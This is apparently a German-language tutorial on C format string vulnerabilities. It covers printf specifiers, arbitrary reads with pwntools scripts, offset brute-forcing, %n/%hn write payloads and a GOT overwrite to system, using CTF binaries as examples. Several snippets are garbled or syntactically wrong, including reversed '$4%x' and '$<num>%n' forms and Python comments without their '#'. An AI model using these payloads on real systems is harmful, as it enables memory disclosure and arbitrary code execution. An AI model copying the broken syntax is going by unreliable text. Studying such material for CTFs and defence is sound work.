In C printf ist eine Funktion, die verwendet werden kann, um einen String auszugeben. Der erste Parameter, den diese Funktion erwartet, ist der rohe Text mit den Formatierern. Die folgenden Parameter, die erwartet werden, sind die Werte, um die Formatierer aus dem rohen Text zu ersetzen.
Andere anfällige Funktionen sind sprintf() und fprintf().
Die Verwundbarkeit tritt auf, wenn ein Angreifertext als erstes Argument an diese Funktion übergeben wird. Der Angreifer kann eine spezielle Eingabe erstellen, die die printf-Format-String-Funktionen ausnutzt, um beliebige Daten an beliebiger Adresse (lesbar/schreibbar) zu lesen und zu schreiben. Dadurch ist es möglich, beliebigen Code auszuführen.
Formatierer:
%08x —>8hexbytes%d —>Entire%u —>Unsigned%s —>String%p —>Pointer%n —>Numberofwrittenbytes%hn —>Occupies2bytesinsteadof4<n>$X —> Direct access, Example: ("%3$d",var1,var2,var3) —> Access to var3
Beispiele:
Verwundbares Beispiel:
char buffer[30];gets(buffer); // Dangerous: takes user input without restrictions.printf(buffer); // If buffer contains "%x", it reads from the stack.
Normale Verwendung:
int value =1205;printf("%x%x%x", value, value, value); // Outputs: 4b5 4b5 4b5
Mit fehlenden Argumenten:
printf("%x%x%x", value); // Unexpected output: reads random values from the stack.
fprintf anfällig:
#include<stdio.h>intmain(int argc,char*argv[]) {char*user_input;user_input = argv[1];FILE *output_file =fopen("output.txt","w");fprintf(output_file, user_input); // The user input cna include formatters!fclose(output_file);return0;}
Zugriff auf Zeiger
Das Format %<n>$x, wobei n eine Zahl ist, ermöglicht es, printf anzuzeigen, dass der n-te Parameter (vom Stack) ausgewählt werden soll. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
printf("%x%x%x%x")
und du würdest vom ersten bis zum vierten Parameter lesen.
Oder du könntest Folgendes tun:
printf("$4%x")
und direkt das vierte lesen.
Beachten Sie, dass der Angreifer den printf-Parameter kontrolliert, was im Grunde bedeutet, dass seine Eingabe im Stack sein wird, wenn printf aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stack schreiben könnte.
Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, willkürliche Adressen im Stack hinzuzufügen und printf dazu zu bringen, auf sie zuzugreifen. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten nutzt.
Willkürliches Lesen
Es ist möglich, den Formatter %n$s zu verwenden, um printf die Adresse an der n-Position zu entnehmen, die ihm folgt, und sie so zu drucken, als wäre es eine Zeichenkette (drucken bis ein 0x00 gefunden wird). Wenn die Basisadresse des Binaries 0x8048000 ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
from pwn import*p =process('./bin')payload = b'%6$s'#4th parampayload += b'xxxx'#5th param (needed to fill 8bytes with the initial input)payload +=p32(0x8048000)#6th paramp.sendline(payload)log.info(p.clean())# b'\x7fELF\x01\x01\x01||||'
Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe setzen können, da der String bei 0x00 am Ende dieser Adresse abgeschnitten wird.
Offset finden
Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (0x41414141) senden, gefolgt von %1$x und den Wert erhöhen, bis Sie die A's erhalten.
Brute Force printf-Offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Wie nützlich
Arbitrary Reads können nützlich sein, um:
* **Den** **Binary** aus dem Speicher **auszugeben**
* **Auf spezifische Teile des Speichers zuzugreifen, wo sensible** **Infos** gespeichert sind (wie Canaries, Verschlüsselungsschlüssel oder benutzerdefinierte Passwörter wie in dieser [**CTF-Herausforderung**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
Der Formatter **`$<num>%n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen wie gewünscht mit printf schreiben kann, wird er in der Lage sein, **`$<num>%n`** eine beliebige Zahl an einer beliebigen Adresse schreiben zu lassen.
Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Um dies zu tun, ist es möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die `num` Position** angezeigt wird.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Allerdings ist zu beachten, dass normalerweise, um eine Adresse wie 0x08049724 (was eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, $hn anstelle von $n verwendet wird. Dies ermöglicht es, nur 2 Bytes zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren.
Daher ermöglicht diese Schwachstelle, alles an jede Adresse zu schreiben (willkürliches Schreiben).
In diesem Beispiel wird das Ziel sein, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Obwohl dies auch andere Techniken des willkürlichen Schreibens zu exec missbrauchen könnte:
Wir werden eine Funktionüberschreiben, die ihre Argumente vom Benutzererhält und sie auf die systemFunktionzeigt.
Wie erwähnt, sind normalerweise 2 Schritte erforderlich, um die Adresse zu schreiben: Zuerst schreibt man 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn verwendet.
HOB wird auf die 2 höheren Bytes der Adresse aufgerufen
LOB wird auf die 2 niedrigeren Bytes der Adresse aufgerufen
Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie zuerst das kleinste von [HOB, LOB] schreiben und dann das andere.
Wenn HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Wenn HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um in Adressen des Stacks zu schreiben und eine Pufferüberlauf-Art von Sicherheitsanfälligkeit auszunutzen.
32 Bit, kein relro, kein canary, nx, kein pie, grundlegende Verwendung von Format-Strings, um das Flag vom Stack zu leaken (keine Notwendigkeit, den Ausführungsfluss zu ändern)
32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in .fini_array zu schreiben (damit der Fluss ein weiteres Mal zurückschleift) und die Adresse zu system in der GOT-Tabelle zu schreiben, die auf strlen zeigt. Wenn der Fluss zurück zu main geht, wird strlen mit Benutzereingaben ausgeführt und zeigt auf system, es werden die übergebenen Befehle ausgeführt.